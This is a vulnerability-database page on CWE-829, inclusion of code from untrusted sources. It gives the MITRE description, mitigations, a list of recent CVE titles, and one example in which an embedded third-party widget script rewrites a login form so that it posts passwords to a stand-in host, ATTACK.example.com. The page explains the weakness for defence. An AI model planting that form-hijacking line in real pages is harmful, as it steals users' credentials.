Goal Reached Thanks to every supporter — we hit 100%!

Goal: 1000 CNY · Raised: 1359 CNY

100%

CWE-829 (从非可信控制范围包含功能例程) — Vulnerability Class 193

193 vulnerabilities classified as CWE-829 (从非可信控制范围包含功能例程). AI Chinese analysis included.

CWE-829 represents a critical software weakness where applications import or execute functionality from sources outside their intended control sphere, such as unverified third-party libraries or external APIs. Attackers typically exploit this vulnerability by compromising the external source or manipulating the inclusion mechanism to inject malicious code, thereby gaining unauthorized execution privileges or causing system compromise. This often occurs when developers blindly trust dependencies without verifying their integrity or origin. To mitigate this risk, developers must implement strict dependency management practices, including rigorous code review processes and the use of cryptographic signatures to verify the authenticity of included components. Additionally, employing sandboxing techniques and maintaining a minimal attack surface by removing unnecessary external dependencies can significantly reduce the likelihood of successful exploitation, ensuring that only trusted, vetted functionality is integrated into the application’s core logic.

MITRE CWE Description
The product imports, requires, or includes executable functionality (such as a library) from a source that is outside of the intended control sphere.
Common Consequences (1)
Confidentiality, Integrity, Availability Execute Unauthorized Code or Commands
An attacker could insert malicious functionality into the program by causing the program to download code that the attacker has placed into the untrusted control sphere, such as a malicious web site. This could enable the injection of malware, information exposure by granting excessive privileges or…
Mitigations (5)
Architecture and Design Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid [REF-1482].
Architecture and Design When the set of acceptable objects, such as filenames or URLs, is limited or known, create a mapping from a set of fixed input values (such as numeric IDs) to the actual filenames or URLs, and reject all other inputs. For example, ID 1 could map to "inbox.txt" and ID 2 could map to "profile.txt". Features such as the ESAPI AccessReferenceMap [REF-45] provide this capability.
Architecture and Design For any security checks that are performed on the client side, ensure that these checks are duplicated on the server side, in order to avoid CWE-602. Attackers can bypass the client-side checks by modifying values after the checks have been performed, or by changing the client to remove the client-side checks entirely. Then, these modified values would be submitted to the server.
Architecture and Design, Operation Run the code in a "jail" or similar sandbox environment that enforces strict boundaries between the process and the operating system. This may effectively restrict which files can be accessed in a particular directory or which commands can be executed by the software. OS-level examples include the Unix chroot jail, AppArmor, and SELinux. In general, managed code may provide some protection. For ex…
Effectiveness: Limited
Architecture and Design, Operation Run your code using the lowest privileges that are required to accomplish the necessary tasks [REF-76]. If possible, create isolated accounts with limited privileges that are only used for a single task. That way, a successful attack will not immediately give the attacker access to the rest of the software or its environment. For example, database applications rarely need to run as the database ad…
Examples (1)
This login webpage includes a weather widget from an external website:
<div class="header"> Welcome! <div id="loginBox">Please Login: <form id ="loginForm" name="loginForm" action="login.php" method="post"> Username: <input type="text" name="username" /> <br/> Password: <input type="password" name="password" /> <input type="submit" value="Login" /> </form> </div> <div id="WeatherWidget"> <script type="text/javascript" src="externalDomain.example.com/weatherwidget.js"></script> </div> </div>
Bad · HTML
...Weather widget code.... document.getElementById('loginForm').action = "ATTACK.example.com/stealPassword.php";
Attack · JavaScript
CVE ID Title CVSS Severity Published
CVE-2026-54532 CloudPirates Open Source Helm Charts: pull_request_target workflow vulnerable to cache poisoning and OIDC token theft — helm-charts 6.9 Medium 2026-10-22
CVE-2026-114727 Roundcube 1.6.20/1.7.5 前版本 ImageMagick 远程代码执行 — Webmail 8.3 High 2026-10-22
CVE-2026-113709 Argo CD: A Kustomize Helm config home can run commands in the repo-server — argo-cd 9.9 Critical 2026-10-20
CVE-2026-111357 Ivanti Connect Secure 22.8R2.4 权限提升漏洞 — Connect Secure 7.0 High 2026-10-15
CVE-2026-111091 JetBrains Junie CLI代码执行漏洞 — Junie CLI 7.8 High 2026-10-15
CVE-2026-96237 .NET Remote Code Execution Vulnerability — .NET 10.0 runtime 7.5 High 2026-10-13
CVE-2026-87695 Microsoft Exchange Server Elevation of Privilege Vulnerability — Microsoft Exchange Server 2016 Cumulative Update 23 7.8 High 2026-10-13
CVE-2026-70267 Microsoft Office SharePoint Remote Code Execution Vulnerability — Microsoft SharePoint Server Subscription Edition 7.2 High 2026-10-13
CVE-2026-85355 Windows Common Log File System Driver Elevation of Privilege Vulnerability — Windows 10 Version 1607 7.0 High 2026-10-13
CVE-2026-108913 Omarchy 4.0.1前代码执行 — Omarchy 7.1 High 2026-10-11
CVE-2026-78019 Dell SCG <5.34.00.16 提权与远程执行漏洞 — Secure Connect Gateway (SCG) Policy Manager 7.5 High 2026-10-09
CVE-2026-12171 auto-changelog: code execution via untrusted in-repository configuration (handlebarsSetup/plugins), plus argument injection, path traversal, and SSRF — auto-changelog 7.8 High 2026-10-05
CVE-2026-63277 RCE via calcext:data-mappings, sql provider and jdbc connector — LibreOffice 8.5 High 2026-10-05
CVE-2026-105080 ConvertX <0.19.0 远程代码执行漏洞 — ConvertX 9.9 Critical 2026-10-03
CVE-2026-100256 IntelliJ IDEA 2026.2.3前结构搜索RCE漏洞 — IntelliJ IDEA 7.8 High 2026-09-30
CVE-2026-97150 baserCMS5 BcAddonMigrator任意文件读取删除漏洞 — BcAddonMigrator 8.6 High 2026-09-30
CVE-2026-87114 Kube-compare: container:// reference extraction runs the image entrypoint and silently escalates to sudo — Red Hat OpenShift Container Platform 4.19 7.1 High 2026-09-28
CVE-2026-54160 Network UPS Tools: A PWN Request in make-dist workflow can execute PR-controlled code with write-scoped GITHUB_TOKEN — nut 8.2 High 2026-09-28
CVE-2026-95985 Kiro IDE Allows Agentic Writes to Global Configurations While Working in Untrusted Workspaces — Kiro IDE 8.8 High 2026-09-24
CVE-2026-96443 Apache Doris: JDBC driver URL validation bypass leads to remote code execution — Apache Doris - - 2026-09-23
CVE-2026-17647 IBM Financial Transaction Manager (FTM) is Impacted by Multiple Vulnerabilities — Financial Transaction Manager (FTM) for RedHat OpenShift 8.8 High 2026-09-22
CVE-2026-96269 Emacs 28.1-31.1 read-symbol-shorthands远程代码执行漏洞 — Emacs 7.5 High 2026-09-22
CVE-2026-93993 Mistral Vibe before 2.25.5 Remote Code Execution via git post-checkout — mistral-vibe 8.8 High 2026-09-19
CVE-2026-81305 CareCam CM2507 Inclusion of Functionality from Untrusted Control Sphere — HMT.CM2507 Firmware 6.8 Medium 2026-09-18
CVE-2026-89332 Kiro IDE Sensitive Workspace Data Exfiltration via Agent-Written Workspace Configuration — Kiro IDE 5.5 Medium 2026-09-11
CVE-2026-13745 Arbitrary Code Execution in Gemini CLI via Untrusted Local .env Files Overriding GEMINI_CLI_HOME — Gemini CLI 7.7 High 2026-09-10
CVE-2026-0303 Checkov by Prisma Cloud: Code Execution via Auto-Loaded Configuration File — Checkov by Prisma Cloud 2.4 Low 2026-09-10
CVE-2026-79721 MLflow 软件供应链问题漏洞 — mlflow 8.6 High 2026-09-08
CVE-2026-86504 JetBrains IntelliJ IDEA 软件供应链问题漏洞 — IntelliJ IDEA 7.8 High 2026-09-07
CVE-2026-86169 Axolotl before 0.19.0 Remote Code Execution via Multipack Patching — axolotl 8.8 High 2026-09-05

Vulnerabilities classified as CWE-829 (从非可信控制范围包含功能例程) represent 193 CVEs. The CWE taxonomy describes the weakness; review individual CVEs for product-specific impact.